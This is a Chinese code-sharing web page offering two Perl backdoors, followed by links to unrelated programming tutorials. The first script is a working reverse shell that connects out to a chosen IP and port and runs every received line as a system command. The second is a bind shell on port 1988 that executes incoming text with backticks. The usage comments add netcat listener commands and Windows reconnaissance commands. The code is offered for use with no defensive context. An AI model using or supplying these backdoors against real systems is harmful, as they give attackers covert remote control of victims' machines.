perl后门,正向和反向!实例代码

反向连接代码:
 1. #!/usr/bin/perl 
 2. #usage: 
 3. #nc -vv -l -p PORT(default 1988) on your local system first,then 
 4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) 
 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 
 6. #nc -vv -l -p 1988 
 7. #perl backdoor.pl 127.0.0.1 1988 
 8. 
 9. #use strict; 
 10. use Socket; 
 11. use IO::Socket; 
 12. use Cwd; 
 13. use IO::Handle; 
 14. my $remote = $ARGV[0]|| "127.0.0.1"; 
 15. my $remote_port = $ARGV[1]|| 1988; 
 16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); 
 17. my $path = cwd(); 
 18. $ARGC = @ARGV; 
 19. if ($ARGV[0]!~/-/) 
 20. { 
 21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; 
 22. STDOUT->autoflush(1); 
 23. SOCKET->autoflush(1); 
 24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; 
 25. open STDIN,">&SOCKET"; 
 26. open STDOUT,">&SOCKET"; 
 27. open STDERR,">&SOCKET"; 
 28. print "You are in $path\n"; 
 29. print "Welcome to use.\n"; 
 30. print "console>\n"; 
 31. 
 32. while (<STDIN>) { 
 33. chomp; 
 34. if( lc($_) eq 'exit' ) { 
 35. print " Bye Bye!"; 
 36. exit; 
 37. } 
 38. $msg=system($_); 
 39. if($msg){ 
 40. print STDOUT "\n$msg\n"; 
 41. print STDOUT "console>"; 
 42. }else 
 43. { 
 44. print "console>"; 
 45. } 
 46. } 
 47. close SOCKET; 
 48. exit; 
 49. } 
正向连接代码:
 1. #!/usr/bin/perl 
 2. #ActivePerl 5.8.8 Build 822 
 3. #usage: 
 4. #first:perl backdoor2c.pl 
 5. #second:nc -vv 127.0.0.1 1988 
 6. #net user 
 7. #ipconfig /all 
 8. #netstat -anb 
 9. use IO::Socket; 
 10. $port = "1988"; 
 11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' , 
 12. 'LocalPort'=>$port , 
 13. 'Listen'=>1 , 
 14. 'Proto'=>'tcp' , 
 15. 'Reuse'=>1 ); 
 16. die "Reason: $!" unless $socket; 
 17. while (my $new_socket = $socket->accept()) { 
 18. while (my $buffer=<$new_socket> ){ 
 19. if ($buffer=~/exit/) {exit;} 
 20. $res_msg=`$buffer`; 
 21. print $new_socket "$res_msg\ncmd>"; 
 22. }}

(0)

相关推荐

  • perl后门,正向和反向!实例代码

    反向连接代码: 1. #!/usr/bin/perl   2. #usage:   3. #nc -vv -l -p PORT(default 1988) on your local system first,then   4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)   5. #Type 'exit' to exit or press Enter to gain shell when u under the

  • java中文分词之正向最大匹配法实例代码

    前言 基于词典的正向最大匹配算法(最长词优先匹配),算法会根据词典文件自动调整最大长度,分词的好坏完全取决于词典. 所谓词典正向最大匹配就是将一段字符串进行分隔,其中分隔 的长度有限制,然后将分隔的子字符串与字典中的词进行匹配,如果匹配成功则进行下一轮匹配,直到所有字符串处理完毕,否则将子字符串从末尾去除一个字,再进行匹配,如此反复. 算法流程图如下: 下面给大家主要讲一下中文分词里面算法的简单实现,废话不多说了,现在先上代码 示例代码 package com; import java.util

  • python过滤中英文标点符号的实例代码

    如下所示: import re # 过滤不了\\ \ 中文()还有---- r1 = u'[a-zA-Z0-9'!"#$%&\'()*+,-./:;<=>?@,.?★.-[]<>?""''![\\]^_`{|}~]+'#用户也可以在此进行自定义过滤字符 # 者中规则也过滤不完全 r2 = "[\s+\.\!\/_,$%^*(+\"\']+|[+--!,.?.~@#¥%--&*()]+" # \\\可以过滤掉

  • Java 数据类型及类型转换的互相转换实例代码

    一.基本数据类型 java的数据类型可以分为两大类:基本类型和复合类型. 基本类型:整型(int,short,long,byte).浮点型(float,double).布尔型(boolean).和字符型(char) 复合类型:数组,类,接口 1.整型 各种整型数据所占空间及数的范围 数据类型 所占内存空间/位 数的范围 byte 8 -128~127 short 16 -32768~32767 int 32 -2^31~2^31-1 long 64 -2^63~2^63-1 整型以补码的形式存放

  • java 各种数据类型的互相转换实例代码

    StringBuilder转化为String String str = "abcdefghijklmnopqrs"; StringBuilder stb = new StringBuilder(str); 整型数组转化为字符串 StringBuilder s = new StringBuilder(); for(i=1;i<=n;i++) { s.append(String.valueOf(a[i])); } String str = ""+s; 字符串转化为

  • pytorch实现ResNet结构的实例代码

    1.ResNet的创新 现在重新稍微系统的介绍一下ResNet网络结构. ResNet结构首先通过一个卷积层然后有一个池化层,然后通过一系列的残差结构,最后再通过一个平均池化下采样操作,以及一个全连接层的得到了一个输出.ResNet网络可以达到很深的层数的原因就是不断的堆叠残差结构而来的. 1)亮点 网络中的亮点 : 超深的网络结构( 突破1000 层) 提出residual 模块 使用Batch Normalization 加速训练( 丢弃dropout) 但是,一般来说,并不是一直的加深神经

  • MySQL 序列 AUTO_INCREMENT详解及实例代码

    MySQL 序列 AUTO_INCREMENT详解及实例代码 MySQL序列是一组整数:1, 2, 3, ...,由于一张数据表只能有一个字段自增主键, 如果你想实现其他字段也实现自动增加,就可以使用MySQL序列来实现. 本章我们将介绍如何使用MySQL的序列. 使用AUTO_INCREMENT MySQL中最简单使用序列的方法就是使用 MySQL AUTO_INCREMENT 来定义列. 实例 以下实例中创建了数据表insect, insect中id无需指定值可实现自动增长. mysql>

  • Nginx的完整配置详解及实例代码

    Nginx的完整配置详解 最近公司新项目,由于自己是小白,跟着项目经理对Nginx进行配置,在网上找到一篇相关资料,觉得不错,并可以完成配置,这里记录下, 实例代码: #运行用户 user nobody; #启动进程,通常设置成和cpu的数量相等 worker_processes 1; #全局错误日志及PID文件 #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info;

  • SVG动画vivus.js库使用小结(实例代码)

    SVG动画vivus.js库使用整理,具体实例代码如下所示: 使用方法如图: HTML例子代码: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta

  • Java thrift服务器和客户端创建实例代码

    Thrift是一个软件框架,用来进行可扩展且跨语言的服务的开发.它结合了功能强大的软件堆栈和代码生成引擎,以构建在 C++, Java, Python, PHP, Ruby, Erlang, Perl, Haskell, C#, Cocoa, JavaScript, Node.js, Smalltalk, and OCaml 等等编程语言间无缝结合的.高效的服务. Thrift最初由facebook开发,07年四月开放源码,08年5月进入apache孵化器.thrift允许你定义一个简单的定义文

随机推荐